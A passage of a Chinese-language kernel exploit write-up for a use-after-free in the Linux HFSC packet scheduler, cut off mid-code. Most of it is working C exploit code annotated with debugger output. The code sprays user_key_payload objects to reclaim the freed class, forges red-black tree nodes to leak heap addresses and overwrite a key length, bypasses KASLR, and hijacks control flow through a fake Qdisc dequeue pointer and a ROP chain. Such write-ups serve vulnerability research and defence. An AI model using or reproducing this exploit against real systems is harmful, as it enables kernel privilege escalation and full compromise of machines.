    • 将包含UAF指针的Qdisc标记为 Victim_Qdisc - Qdisc_A;—— Qdisc_A->privdata 指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向UAF_rb_node / class_A->el_node
  • 注意->cl_e成员将决定访问哪一个指针,->rb_right->rb_left;后续步骤中,每次触发eltree_insert(),我们总是选取->rb_right

(2)堆喷user_key_payload占位UAF_hfsc_class

[exploit.c#L1111]

fake_rb_node = (struct rb_node *)
	(	
		user_key_payload_write_buffer + \
		struct_hfsc_class_member_el_node_offset - \
		sizeof(struct user_key_payload)
	);

fake_rb_node->__rb_parent_color = 0 | RB_BLACK;
fake_rb_node->rb_right = (struct rb_node *)(0);
fake_rb_node->rb_left = (struct rb_node *)(0);

heap_read_primitive->key_A = user_key_payload_alloc(
	heap_read_primitive->key_A_desc,
	user_key_payload_write_buffer,
	sizeof(user_key_payload_write_buffer)
);
// ????? 不需要伪造 hfsc_class->cl_e ?????  6-3. (2) 也是堆喷 user_key_payload 占据 `UAF_hfsc_class`,其中伪造了 UAF_hfsc_class->cl_e

将这个占位的struct user_key_payload记为user_key_payload_A,如果占位成功,就能布置如下内存:

UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
UAF_rb_node->rb_right == NULL;
UAF_rb_node->rb_left == NULL;
UAF_hfsc_class->cl_e == 0;

问题:分配1次就能占位成功 ????? 执行完 key_create_or_update() 之后确实堆喷篡改成功了

(3)泄露hfsc_class堆地址-class_B

目标:创建class_B并通过入队操作,将class_B->rb_node插入到Qdisc_A->privdata->eligible.rb_node->rb_right / class_A->el_node->rb_right,也即UAF漏洞对象中,以便通过user_key_payload泄露class_B的堆地址。

创建class_B:创建struct hfsc_class对象(设置HFSC_RSC flag),记为class_B。在创建class_B时会创建默认的qdisc连接到 class_Bclass_B->qdisc 类型为pfifo

  • 调用链:tc_ctl_tclass() -> hfsc_change_class()

[exploit.c#L1128]

struct tc_service_curve rsc_B = { .m1 = 1, .m2 = 1, .d = 0 };
create_hfsc_class(
	heap_read_primitive->route_socket,
	heap_read_primitive->rb_tree_interface_ifindex,
	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
	heap_read_primitive->rb_tree_interface_classid_B,
	&rsc_B,
	NULL,
	NULL
);

配置Victim_Qdisc:将入队的packet从Qdisc_A路由到class_B所连接的qdisc。

  • 调用链:tc_modify_qdisc() -> qdisc_change() -> hfsc_change_qdisc()

[exploit.c#L1139]

change_hfsc_qdisc_route(
	heap_read_primitive->route_socket,
	heap_read_primitive->rb_tree_interface_ifindex,
	TC_H_ROOT,
	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
	heap_read_primitive->rb_tree_interface_classid_B
);

入队packet:通过Victim_Qdisc 入队的新packet最终流入init_ed(class_B) -> eltree_insert(class_B)目的是将class_B->rb_node插入到Qdisc_A->privdata->eligible.rb_node->rb_right / class_A->el_node->rb_right,也即UAF漏洞对象中,以便通过user_key_payload泄露class_B的堆地址

入队操作成功后,Victim_Qdisc->q.qlen == 0原先删除class_A之后该值为-1)。因此,我们可以在调用Qdisc_A的 ->dequeue() 时就提前返回NULL,并保持class_B对象在tree上。

  • 入队调用链:hfsc_enqueue() -> pfifo_enqueue() & init_ed(class_B) -> eltree_insert(class_B)

[exploit.c#L1147]

trigger_qdisc_enqueue(
	heap_read_primitive->raw_packet_socket,
	heap_read_primitive->rb_tree_interface_ifindex
);
// 调试如下:
// 调用 eltree_insert(class_B) 之前
gef> p sch 									// <--- Qdisc_A
$61 = (struct Qdisc *) 0xffff888105ac1000
gef> p sch->privdata
$62 = 0xffff888105ac1180
gef> p (*(struct hfsc_sched *)sch->privdata)->eligible.rb_node
$63 = (struct rb_node *) 0xffff888105a718a0
gef> p *(*(struct hfsc_sched *)sch->privdata)->eligible.rb_node
$64 = {
  __rb_parent_color = 0x1,
  rb_right = 0x0 <fixed_percpu_data>,
  rb_left = 0x0 <fixed_percpu_data>
}
// 调用 eltree_insert(class_B) 之后, 显示class_B已插入到 Qdisc_A->privdata->eligible.rb_node / class_A->el_node
gef> p *(*(struct hfsc_sched *)sch->privdata)->eligible.rb_node
$68 = {
  __rb_parent_color = 0x1,
  rb_right = 0xffff888105a710a0, 		// class_B->rb_node
  rb_left = 0x0 <fixed_percpu_data>
}

泄露class_B地址:读取UAF_rb_node->rb_right来泄露&(class_B->el_node)地址,减去el_node成员偏移即可获得class_B地址,将该泄露地址记为hfsc_class_leak_address

[exploit.c#L1152]

user_key_payload_read(
	heap_read_primitive->key_A,
	user_key_payload_read_buffer,
	sizeof(user_key_payload_read_buffer)
);

fake_rb_node = (struct rb_node *)
	(
		user_key_payload_read_buffer + \
		struct_hfsc_class_member_el_node_offset - \
		sizeof(struct user_key_payload)
	);

u64 hfsc_class_leak_address = (u64)fake_rb_node->rb_right - struct_hfsc_class_member_el_node_offset;
问题 - keyctl_read: Permission Denied

分析:创建user类型的key时,权限设置为0x3f010000,但是读取时没有拥有者possess权限(无法通过is_key_possessed()检查)。正常来说,lookup_user_key() -> skey_ref = search_process_keyrings_rcu(&ctx); 应该能返回最低位为1(表示有possess权限)的key_ref_t key_ref,也即从进程中应该能搜索到user类型的key。

// 解决:
// 原先exp使用 KEY_SPEC_USER_KEYRING 密钥环
add_key("user", desc, data, n, KEY_SPEC_USER_KEYRING);
// 修改为 KEY_SPEC_SESSION_KEYRING 密钥环
add_key("user", desc, data, n, KEY_SPEC_SESSION_KEYRING);

(4)构造fake rb_tree - 2 rb_node

目的:伪造class_A->el_node->rb_left指向class_B-user_key_payload->datalen位置,以篡改datalen

第1个rb_node - class_B
  • 删除class_B:会将&(class_B->el_node)从tree中移除,使得 Victim_Qdisc->q.qlen == -1

    [exploit.c#L1169]

    delete_tclass(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	TC_H_MAJ(heap_read_primitive->rb_tree_interface_classid_B),
    	heap_read_primitive->rb_tree_interface_classid_B
    );
    
  • 再次分配struct user_key_payload:记为fake_hfsc_class_backed_by_user_key_payload_B,全填充0。之前已获取user_key_payload_B地址(记为hfsc_class_leak_address )。

    [exploit.c#L1176]

    memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
    heap_read_primitive->key_B = user_key_payload_alloc(
    	heap_read_primitive->key_B_desc,
    	user_key_payload_write_buffer,
    	sizeof(user_key_payload_write_buffer)
    );
    
第2个rb_node - UAF class_A
  • 准备数据,用于接下来喷射user_key_payload[exploit.c#L1182]

    memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
    fake_rb_node = (struct rb_node *)
    	(
    		user_key_payload_write_buffer + \
    		struct_hfsc_class_member_el_node_offset - \
    		sizeof(struct user_key_payload)
    	);
      
    fake_rb_node->__rb_parent_color = 0 | RB_BLACK;
    fake_rb_node->rb_right = (struct rb_node *)(0);
    fake_rb_node->rb_left = (struct rb_node *) 	// UAF_rb_node->rb_left == &(fake_hfsc_class_backed_by_user_key_payload_B->datalen);
    	(
    		hfsc_class_leak_address + \
    		sizeof(struct user_key_payload) - \
    		(
    			struct_user_key_payload_member_data_offset - \
    			struct_user_key_payload_member_datalen_offset
    		)
    	);
    // hfsc_class->cl_e = 0   // memset 已清零
    
  • 释放user_key_payload_A,记住,当前的user_key_payload_A用于回收UAF指针。[exploit.c#L1202]

    user_key_payload_free_and_wait_for_gc(&(heap_read_primitive->key_A));
      
    void user_key_payload_free_and_wait_for_gc(key_serial_t *pkey)
    {
    	if (*pkey != -1) {
    		Keyctl_unlink(*pkey, KEY_SPEC_USER_KEYRING);
    		u32 x = 0;
    		for (u32 i = 0; i < 0xFFFFFFFF; i++)
    			x += i;
    		*pkey = -1;
    	}
    }
    
  • 利用以上准备的数据堆喷16个struct user_key_payload对象。为什么堆喷16个?因为有时slab中的UAF_hfsc_class空闲堆块不再是active状态。可以调整一下,多喷射一些 [exploit.c#L1204]

    for (u32 i = 0; i < heap_read_primitive->key_spray_count; i++) {
    	heap_read_primitive->key_spray[i] = user_key_payload_alloc(
    		heap_read_primitive->key_spray_descs[i],
    		user_key_payload_write_buffer,
    		sizeof(user_key_payload_write_buffer)
    	);
    }
    
  • UAF_rb_node的值如下所示:

    UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
    UAF_rb_node->rb_right == NULL;
    UAF_rb_node->rb_left == hfsc_class_leak_address + sizeof(struct user_key_payload) - 8; 		// 这里表示 &(fake_hfsc_class_backed_by_user_key_payload_B->datalen) 的地址
    UAF_hfsc_class->cl_e == 0;
    
  • 由于在分配 fake_hfsc_class_backed_by_user_key_payload_B 时设置了 datalen == 0x200,这个rb_node会被看作是 RB_RED node(因为其最低位为0,表示RB_RED)。

(5)往UAF_rb_node->rb_right添加node - class_C

目标:添加class_C,使得UAF_hfsc_class->el_node->rb_right = class_C->el_node

  • 创建class_C:创建struct hfsc_class对象(设置HFSC_RSC flag),记为class_C。在创建过程中,class_C->qdisc指向了一个默认的pfifo qdisc。

    [exploit.c#L1212]

    struct tc_service_curve rsc_C = { .m1 = 1, .m2 = 1, .d = 0 };
    create_hfsc_class(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_C,
    	&rsc_C,
    	NULL,
    	NULL
    );
    
  • 配置Victim_Qdisc:将入队的packet路由到class_C连接的qdisc。[exploit.c#L1222]

    change_hfsc_qdisc_route(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	TC_H_ROOT,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_C
    );
    
  • 入队packet:通过Victim_Qdisc入队新packet,最终导致 init_ed(class_C) -> eltree_insert(class_C)[exploit.c#L1229]

    trigger_qdisc_enqueue(heap_read_primitive->raw_packet_socket, heap_read_primitive->rb_tree_interface_ifindex);
    // 若入队成功,则 `Victim_Qdisc->q.qlen == 0`,可使`->dequeue()`提前返回NULL(参见`hfsc_dequeue()`),并保持`class_C`位于node tree上。
    
  • 现在,UAF_rb_node 如下所示:

    UAF_rb_node->__rb_parent_color == NULL | RB_BLACK;
    UAF_rb_node->rb_right == &(class_C->el_node);
    UAF_rb_node->rb_left == &(fake_hfsc_class_backed_by_user_key_payload_B->datalen);
    

(6)寻找与UAF_rb_node重叠的user_key_payload

也即寻找第4步堆喷的user_key_payload[exploit.c#L1231]

读取user_key_payload数据,寻找UAF_rb_node->rb_right堆地址。

bool found_reclaim_key = false;
for (u32 i = 0; i < heap_read_primitive->key_spray_count && !found_reclaim_key; i++) {
	user_key_payload_read(
		heap_read_primitive->key_spray[i],
		user_key_payload_read_buffer,
		sizeof(user_key_payload_read_buffer)
	);

	fake_rb_node = (struct rb_node *)
		(
			user_key_payload_read_buffer + \
			struct_hfsc_class_member_el_node_offset - \
			sizeof(struct user_key_payload)
		);
	
	if (fake_rb_node->rb_right) {
		reclaim_key = heap_read_primitive->key_spray[i];
		found_reclaim_key = true;
	}
}

(7)释放不重要的user_key_payload

[exploit.c#L1256]

for (u32 i = 0; i < heap_read_primitive->key_spray_count; i++)
	if (heap_read_primitive->key_spray[i] != reclaim_key)
		user_key_payload_free(&(heap_read_primitive->key_spray[i]));

(8)触发&(hfsc_class_backed_by_user_key_payload_B->datalen) 覆写

目标:覆写 user_key_payload_B->datalen 构造越界读,触发__rb_insert()函数修改 rb->__rb_parent_color(实际修改了user_key_payload_B->datalen)。

触发步骤
  • 创建class_D:创建struct hfsc_class对象(设置HFSC_FSC flag),记为class_D[exploit.c#L1260]

    struct tc_service_curve fsc_D = { .m1 = 1, .m2 = 1, .d = 0 };
    create_hfsc_class(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_D,
    	NULL,
    	&fsc_D,
    	NULL
    );
    
  • 创建Qdisc_C:创建type为pfifo_head_drop的Qdisc,设置sch->limit == 0,并连接到class_D,之后将用到这里的逻辑漏洞(这样packet入队时Victim_Qdisc->q.qlen值保持不变)。[exploit.c#L1271]

    struct tc_fifo_qopt pfifo_head_drop_qopt_C = { .limit = 0 };
    create_pfifo_head_drop_qdisc(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	heap_read_primitive->rb_tree_interface_classid_D,
    	heap_read_primitive->rb_tree_interface_qdisc_C_handle,
    	&pfifo_head_drop_qopt_C
    );
    
  • 配置Victim_Qdisc:将入队的packet路由到class_D连接的qdisc;[exploit.c#L1279]

    change_hfsc_qdisc_route(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	TC_H_ROOT,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_D
    );
    
  • packet入队-触发漏洞:往Victim_Qdisc入队packet触发逻辑漏洞;[exploit.c#L1286] **目的就是构造 class_D->qdisc->q.len = 1,使得之后能触发hfsc_change_class() -> init_ed()覆写datalen **。

    • 第(5)步之后,Victim_Qdisc->q.qlen == 0,执行本步骤后Qdisc_C->q.qlen == 1
    • 测试该设置发现,总是能按预期走->rb_right。如果调用trigger_qdisc_enqueue(),有一定概率走->rb_left,成功概率为90%~100%。????? (原因很有可能是没有伪造好cl_e,后面劫持控制流6-3步中伪造fake_cl_e时偏移弄错了,还要减去sizeof(struct user_key_payload),exp中已更正!!!)
    trigger_qdisc_enqueue_with_bigger_packet(heap_read_primitive->raw_packet_socket, heap_read_primitive->rb_tree_interface_ifindex);	// 发送的packet size要比trigger_qdisc_enqueue()更大,packet size 是`->cl_e`计算过程的一部分
    
  • 触发datalen覆写:将class_D对象从HFSC_FSC flag 修改为 HFSC_RSC flag,触发内核代码路径:hfsc_change_class() -> init_ed(),触发覆写原语。

    • 问题:有两条路径能触发 init_ed()。为什么选取后者?
      • hfsc_enqueue() -> init_ed() —— 条件:hfsc_class->qdisc->q.qlen == 0。上一步packet入队会触发错误,提前返回,所以不会执行init_ed(),导致hfsc_class->qdisc->q.qlen == 0
      • hfsc_change_class() -> init_ed() —— 条件:hfsc_class->qdisc->q.qlen != 0;且原先hfsc_class为RSC,需修改为FSC才会触发init_ed()
    • 答案:如果选取第1种触发方式 hfsc_enqueue(class_D) -> init_ed(class_D),由于第(5)步通过Victim_Qdisc入队了新packet,导致Victim_Qdisc->q.qlen == 0。因此再次 hfsc_enqueue() 成功会导致 Victim_Qdisc->q.qlen == 1,之后出队时hfsc_dequeue()就会破坏 rb_tree 的构造。
    // Exp:
    struct tc_service_curve rsc_D = { .m1 = 1, .m2 = 1, .d = 0 };
    change_hfsc_class(
    	heap_read_primitive->route_socket,
    	heap_read_primitive->rb_tree_interface_ifindex,
    	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
    	heap_read_primitive->rb_tree_interface_classid_D,
    	&rsc_D,
    	NULL,
    	NULL
    );
      
    // 触发覆写之前,UAF_rb_node 状态如下:
    UAF_hfsc_class->el_node->__rb_parent_color == 0x1;
    UAF_hfsc_class->el_node->rb_right == &(class_C->el_node); 			// 新加入的 class_C
    UAF_hfsc_class->el_node->rb_left == &class_B + 0x10; 				// fake_hfsc_class_backed_by_user_key_payload_B->datalen
    Qdisc_A->privdata->eligible.rb_node == &(UAF_hfsc_class->el_node); 	// dangling pointer
      
    // 触发覆写之后
      
    // 源码分析
    // cl = class_D / cl->qdisc = Qdisc_C
    // 条件1:`Qdisc_C->q.qlen == 1` => `cl->qdisc->q.qlen != 0`
    // 条件2:由于创建 class_D 时设置了 `HFSC_FSC` flag, `(old_flags & HFSC_RSC) == false` 所以会调用 init_ed()
    static int
    hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
    		  struct nlattr **tca, unsigned long *arg,
    		  struct netlink_ext_ack *extack)
    {
    	struct hfsc_sched *q = qdisc_priv(sch);
    	struct hfsc_class *cl = (struct hfsc_class *)*arg; 		// cl - class_D / cl->qdisc - Qdisc_C
    	struct hfsc_class *parent = NULL;
    	struct nlattr *opt = tca[TCA_OPTIONS];
    	struct nlattr *tb[TCA_HFSC_MAX + 1];
    	struct tc_service_curve *rsc = NULL, *fsc = NULL, *usc = NULL;
    	u64 cur_time;
    	int err;
      
    	if (opt == NULL)
    		return -EINVAL;
      
    	err = nla_parse_nested_deprecated(tb, TCA_HFSC_MAX, opt, hfsc_policy,
    					  NULL);
    	if (err < 0)
    		return err;
      
    	if (tb[TCA_HFSC_RSC]) {
    		rsc = nla_data(tb[TCA_HFSC_RSC]);
    		if (rsc->m1 == 0 && rsc->m2 == 0)
    			rsc = NULL;
    	}
    	/* Writeup note: Deleted code for clarity */
      
    	if (cl != NULL) {
    		int old_flags;
    		/* Writeup note: Deleted code for clarity */
      
    		sch_tree_lock(sch);
    		old_flags = cl->cl_flags;
      
    		if (rsc != NULL)
    			hfsc_change_rsc(cl, rsc, cur_time);
    		/* Writeup note: Deleted code for clarity */
      
    		if (cl->qdisc->q.qlen != 0) { 	// [1] 条件1 - `Qdisc_C->q.qlen == 1`   需满足条件 hfsc_class->qdisc->q.qlen != 0
    			int len = qdisc_peek_len(cl->qdisc);
      
    			if (cl->cl_flags & HFSC_RSC) {
    				if (old_flags & HFSC_RSC)  // [2] 条件2 - 原先设置的是 `HFSC_FSC`  条件:原先`hfsc_class`为RSC,需修改为FSC才会触发
    					update_ed(cl, len);
    				else
    					init_ed(cl, len); 	// [3] <--- init_ed() 
    			}
      
    			/* Writeup note: Deleted code for clarity */
    		}
    		sch_tree_unlock(sch);
      
    		return 0;
    	}
    	/* Writeup note: Deleted code for clarity */
    }
    
代码分析

调用链:

  • hfsc_change_class() -> init_ed() -> eltree_insert() -> rb_link_node() -> rb_insert_color() -> __rb_insert()

调试分析:参见 3-4 红黑树节点插入的原理,待插入 class_D 是右儿子(不重要),父节点是祖父的右儿子,父红叔叔红,走第[5]条路。

// UAF_rb_node - class_A->el_node   rb_tree的root_node根节点,所有class的 `class_D->sched->eligible.rb_node` 都指向它
gef> p cl->sched->eligible.rb_node                // {1} class_D->sched->eligible.rb_node
$35 = (struct rb_node *) 0xffff888104bd78a0
gef> p *cl->sched->eligible.rb_node
$36 = {
  __rb_parent_color = 0x1,
  rb_right = 0xffff888104bd80a0,                  // {2} rb_right -> class_C  加入class_C后,已将 rb_right 指向 class_C
  rb_left = 0xffff888104bd7c10                    // {3} 原先的class_B+0x10
}
// {2} rb_right -> class_C
gef> p *(struct rb_node*)0xffff888104bd80a0         // red
$46 = {
  __rb_parent_color = 0xffff888104bd78a0, 			// parent - UAF_rb_node
  rb_right = 0xffff888104bd84a0, 					// {4} class_D
  rb_left = 0x0 <fixed_percpu_data>
}
// {3} rb_left -> class_B+0x10      	hfsc_class_backed_by_user_key_payload_B->datalen
gef> p *(struct rb_node*)0xffff888104bd7c10
$48 = {
  __rb_parent_color = 0x200,
  rb_right = 0x0 <fixed_percpu_data>,
  rb_left = 0x0 <fixed_percpu_data>
}
// {4} class_D 
gef> p node
$41 = (struct rb_node *) 0xffff888104bd84a0         // node - cl->el_node - class_D->el_node
gef> p *node
$43 = {
  __rb_parent_color = 0xffff888104bd80a0,           // parent 是 root->rb_node->rb_right - class_C->el_elnode
  rb_right = 0x0 <fixed_percpu_data>,
  rb_left = 0x0 <fixed_percpu_data>
}
/* rb_tree 结构如下所示
                		  {1} UAF_rb_node
                	      /             \
       {2} user_key_payload_B+0x10    {3} class_C
                                                \
                                             {4} class_D
由于父节点是祖父的右儿子,父红叔叔红,走第[5]条路  → 父叔染黑,祖父染红,继续向上处理。
原本是将  叔叔->__rb_parent_color = 祖父 | RB_BLACK
结果却是  *(user_key_payload_B+0x10) = p | 1,  错误将 user_key_payload_B->datalen 篡改为一个非常大的指针,导致越界读
*/

源码如下:

static void
init_ed(struct hfsc_class *cl, unsigned int next_len) 	// cl - class_D / cl->qdisc - Qdisc_C
{
	...
	cl->cl_e = rtsc_y2x(&cl->cl_eligible, cl->cl_cumul);
	cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len);

	eltree_insert(cl); 				// <--- eltree_insert()
}
// eltree_insert()
static void
eltree_insert(struct hfsc_class *cl)
{
	struct rb_node **p = &cl->sched->eligible.rb_node;
	struct rb_node *parent = NULL;
	struct hfsc_class *cl1;

	while (*p != NULL) {
		parent = *p;
		cl1 = rb_entry(parent, struct hfsc_class, el_node);
		if (cl->cl_e >= cl1->cl_e)
			p = &parent->rb_right; 			// !!!!! 目标是走这条路
		else
			p = &parent->rb_left;
	}
	rb_link_node(&cl->el_node, parent, p);
	rb_insert_color(&cl->el_node, &cl->sched->eligible); 	// <--- rb_insert_color()
}
// rb_insert_color()
void rb_insert_color(struct rb_node *node, struct rb_root *root)
{
	__rb_insert(node, root, dummy_rotate); 	// <--- __rb_insert()
}
// __rb_insert()
static __always_inline void
__rb_insert(struct rb_node *node, struct rb_root *root,
	    void (*augment_rotate)(struct rb_node *old, struct rb_node *new))
{
	struct rb_node *parent = rb_red_parent(node), *gparent, *tmp;

	while (true) {
		if (unlikely(!parent)) { 					// [1] 插入节点是根 → 染黑
			rb_set_parent_color(node, NULL, RB_BLACK);
			break;
		}

		if(rb_is_black(parent)) 					// [2] 父节点是黑 → 直接完成
			break;

		gparent = rb_red_parent(parent);

		tmp = gparent->rb_right;
		if (parent != tmp) { 		// left - 父节点 / right - 叔叔节点tmp
			...
		} else { 					// right - 父节点 / left - 叔叔节点tmp
			tmp = gparent->rb_left;
			if (tmp && rb_is_red(tmp)) { 			// [5] 父红 叔叔红  → 父叔染黑,祖父染红,继续向上处理
				rb_set_parent_color(tmp, gparent, RB_BLACK); // !!!!!!! 覆写点  <--- 覆写用到了这里
				rb_set_parent_color(parent, gparent, RB_BLACK);
				node = gparent;
				parent = rb_parent(node);
				rb_set_parent_color(node, parent, RB_RED);
				continue;
			}

			tmp = parent->rb_left;
			if (node == tmp) {
				/* Writeup note: Ignore code here */
			}

				/* Writeup note: Ignore code here */
			break;
		}
	}
}

static inline void rb_set_parent_color(struct rb_node *rb,
				       struct rb_node *p, int color)
{
	rb->__rb_parent_color = (unsigned long)p | color; 	// rb->__rb_parent_color 就是 `&(hfsc_class_backed_by_user_key_payload_B->datalen)`,我们可以将`datalen` 覆写为一个内核地址
}

4-4. 触发heap read

heap_read_primitive_trigger() - [exploit.c#L1302]

读取user_key_payload就能泄露堆,此时datalen已被覆写。

4-5. 重置heap read

heap_read_primitive_reset() - [exploit.c#L1308]

如果堆泄露没有成功,可以删除网口并释放剩下的user_key_payload

5. 绕过KASLR

find_kernel_base() - [exploit.c#L1657]

  • (1)构造heap read原语;
  • (2)堆喷xfrm_policy对象(位于kmalloc-1024);
  • (3)利用heap read原语找到xfrm_policy_timer函数指针(xfrm_policy->timer->function),绕过KASLR;
  • (4)如果泄露不成功,则重复整个过程。

6. 劫持控制流

6-0. 劫持原理&代码分析

控制流劫持调用链

  • __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - packet_sendmsg() -> packet_snd() -> packet_xmit() -> dev_queue_xmit() -> __dev_queue_xmit() -> __dev_xmit_skb() (这里入队enqueue和出队dequeue调用链都相同)
    • 入队 -> dev_qdisc_enqueue() -> hfsc_enqueue()
    • 出队 -> __qdisc_run() -> qdisc_restart() -> dequeue_skb() -> hfsc_dequeue() -> qdisc_dequeue_peeked() -> sch->dequeue() packet入队之后就会调用出队。

原理hfsc_dequeue()中的cl - hfsc_class - class_A 就是UAF漏洞对象,所以cl->qdisc可控,伪造cl->qdisc->dequeue()

条件

  • Qdisc_A / Victim_qdisc->q.qlen != 0
  • Qdisc->gso_skb.next = &Qdisc->gso_skb
static struct sk_buff *
hfsc_dequeue(struct Qdisc *sch)
{
	struct hfsc_sched *q = qdisc_priv(sch);
	struct hfsc_class *cl;
	struct sk_buff *skb;
	u64 cur_time;
	unsigned int next_len;
	int realtime = 0;

	if (sch->q.qlen == 0) 					// qlen 为0,则直接返回NULL
		return NULL;

	cur_time = psched_get_time();
	cl = eltree_get_mindl(q, cur_time); 	// 在所有 eligible class 中选取 deadline 最小的 class
	...

	skb = qdisc_dequeue_peeked(cl->qdisc); 	// <--- qdisc_dequeue_peeked()
	if (skb == NULL) {
		qdisc_warn_nonwc("HFSC", cl->qdisc);
		return NULL;
	}
	...
	qdisc_bstats_update(sch, skb);
	qdisc_qstats_backlog_dec(sch, skb);
	sch->q.qlen--;

	return skb;
}

static inline struct sk_buff *qdisc_dequeue_peeked(struct Qdisc *sch)
{
	struct sk_buff *skb = skb_peek(&sch->gso_skb);

	if (skb) {
		skb = __skb_dequeue(&sch->gso_skb);
		if (qdisc_is_percpu_stats(sch)) {
			qdisc_qstats_cpu_backlog_dec(sch, skb);
			qdisc_qstats_cpu_qlen_dec(sch);
		} else {
			qdisc_qstats_backlog_dec(sch, skb);
			sch->q.qlen--;
		}
	} else {
		skb = sch->dequeue(sch);  					// <--- 控制流劫持点
	}	// 正常情况下,如果没有被劫持,则调用Qdisc_B->dequeue() - hfsc_dequeue() - 由于 sch->q.qlen == 0, 所以直接返回NULL

	return skb;
}

static inline struct sk_buff *skb_peek(const struct sk_buff_head *list_)
{
	struct sk_buff *skb = list_->next;

	if (skb == (struct sk_buff *)list_)		// 需构造 Qdisc->gso_skb.next = &Qdisc->gso_skb, 才能使 skb=NULL
		skb = NULL;
	return skb;
}

EXP中实现函数有4个:

  • code_execution_primitive_init()
  • code_execution_primitive_setup_network_interface()
  • code_execution_primitive_build_primitive()
  • code_execution_primitive_trigger()

6-1. 初始化

code_execution_primitive_init() - [exploit.c#L1318]

  • (1)创建 NETLINK_ROUTE socket
  • (2)创建 raw packet socket
  • (3)准备 3 个 qdisc handle 和 2 个 classid
  • (4)准备用于分配 struct user_key_payload 对象的参数

6-2. 设置网口

code_execution_primitive_setup_network_interface() - [exploit.c#L1370]

  • (1)创建一个dummy 假的网络接口,设置mtu == IPV6_MIN_MTU - 1,以避免内核调用ipv6_add_dev()。原因:
    • ipv6_add_dev() -> timer_setup(&ndev->rs_timer, addrconf_rs_timer, 0)
    • addrconf_rs_timer() -> ndisc_send_rs() -> ndisc_send_skb()
    • ndisc_send_skb() 会导致packet被发送到网络接口并触发 sch->enqueue(),这会使调度器构造过程混乱。
  • (2)设置dummy假网口的状态为开启。

6-3. 控制流劫持

code_execution_primitive_build_primitive() - [exploit.c#L1382]

目标:堆喷user_key_payload占据class_B(需泄露其堆地址)并伪造Qdisc结构和ROP链,然后堆喷user_key_payload占据class_AUAF_hfsc_class),伪造UAF_hfsc_class->qdisc = &class_B。最终通过packet入队来触发cl->qdisc->dequeue劫持控制流。

(1)步骤1:触发UAF [exploit.c#L1393]

  • 参见heap_read_primitive_build_primitive()的第1步。

(2)步骤2:堆喷user_key_payload占用UAF_hfsc_class [exploit.c#L1409]

  • 参见heap_read_primitive_build_primitive()的第2步。

(3)步骤3:泄露struct hfsc_class对象的堆地址 [exploit.c#L1428]

  • 参见heap_read_primitive_build_primitive()的第3步。这里会创建class_B且有packet入队操作,使得Victim_Qdisc->q.qlen == 0

(4)步骤4:准备user_key_payload数据以构造fake Qdisc / ROPChain

  • 这一步是LTS和COS EXP唯一不同的一步。

(5)步骤5:删除class_B [exploit.c#L1508]

  • 第3步已获得class_B地址。这里删除class_B之后,导致Victim_Qdisc->q.qlen == -1 。参见调试记录 debug.c

    delete_tclass(
    	code_execution_primitive->route_socket,
    	code_execution_primitive->network_interface_ifindex,
    	TC_H_MAJ(code_execution_primitive->classid_B),
    	code_execution_primitive->classid_B
    );
    

(6)步骤6:堆喷user_key_payload占据class_B,构造fake Qdisc / ROPChain [exploit.c#L1515]

code_execution_primitive->key_B = user_key_payload_alloc(
	code_execution_primitive->key_B_desc,
	user_key_payload_write_buffer,
	sizeof(user_key_payload_write_buffer)
);

(7)步骤7:释放user_key_payload_A,堆喷user_key_payload,使得UAF_hfsc_class->qdisc指向第4步准备的fake Qdisc [exploit.c#L1521]

memset(user_key_payload_write_buffer, 0, sizeof(user_key_payload_write_buffer));
fake_qdisc = (u64 *)
	(
		user_key_payload_write_buffer + \
		struct_hfsc_class_member_qdisc_offset - \
		sizeof(struct user_key_payload)
	);
*fake_qdisc = hfsc_class_leak_address + sizeof(struct user_key_payload);
fake_cl_e = (u64 *)
	(
		user_key_payload_write_buffer + \
		struct_hfsc_class_member_cl_e_offset - \
		sizeof(struct user_key_payload)
	);
*fake_cl_e = 0;
user_key_payload_free_and_wait_for_gc(&(code_execution_primitive->key_A));
for (u32 i = 0; i < code_execution_primitive->key_spray_count; i++)
	user_key_payload_alloc(
		code_execution_primitive->key_spray_descs[i],
		user_key_payload_write_buffer,
		sizeof(user_key_payload_write_buffer)
	);

(8)步骤8:需要->enqueue()成功执行,以触发->dequeue(),通过以下步骤来确保->enqueue()最后返回NET_XMIT_SUCCESS

目的:创建正常的Qdisc_C,以便后续通过packet入队来触发cl->qdisc->dequeue劫持控制流。

  • 创建pfifo_head_drop qdisc,设置sch->limit == 0xFFFFFFFF,并连接到Victim_Qdisc的root class,这里也可以选取其他qdisc类型。

    [exploit.c#L1544]

    struct tc_fifo_qopt pfifo_head_drop_qopt = { .limit = 0xFFFFFFFF };
    create_pfifo_head_drop_qdisc(
    	code_execution_primitive->route_socket,
    	code_execution_primitive->network_interface_ifindex,
    	code_execution_primitive->qdisc_A_handle,
    	code_execution_primitive->qdisc_C_handle,
    	&pfifo_head_drop_qopt
    );
    
  • 配置Victim_Qdisc:将入队的packet路由到root class连接的qdisc。

    [exploit.c#L1552]

    change_hfsc_qdisc_route(
    	code_execution_primitive->route_socket,
